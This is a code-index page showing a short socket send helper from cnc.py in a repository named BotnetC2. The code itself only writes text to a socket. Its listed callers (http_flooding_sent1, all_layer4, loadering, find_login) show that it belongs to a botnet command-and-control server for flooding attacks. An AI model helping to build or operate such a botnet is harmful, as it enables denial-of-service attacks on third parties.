MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / send

Function send

BOTNETc2/cnc.py:211–216  ·  view source on GitHub ↗
(socket, data, escape=True, reset=True)

Source from the content-addressed store, hash-verified

209
210# Send data to client or bot
211def send(socket, data, escape=True, reset=True):
212 if reset:
213 data += Fore.RESET
214 if escape:
215 data += '\r\n'
216 socket.send(data.encode())
217
218# Send command to all bots
219def broadcast(data):

Callers 14

http_flooding_sent1Function · 0.70
all_sent1Function · 0.70
all_layer4Function · 0.70
http_req_allFunction · 0.70
http_req2Function · 0.70
loaderingFunction · 0.70
find_loginFunction · 0.70
pingFunction · 0.70
handle_clientFunction · 0.70
broadcastFunction · 0.70
update_titleFunction · 0.70
command_lineFunction · 0.70

Calls

no outgoing calls

Tested by

no test coverage detected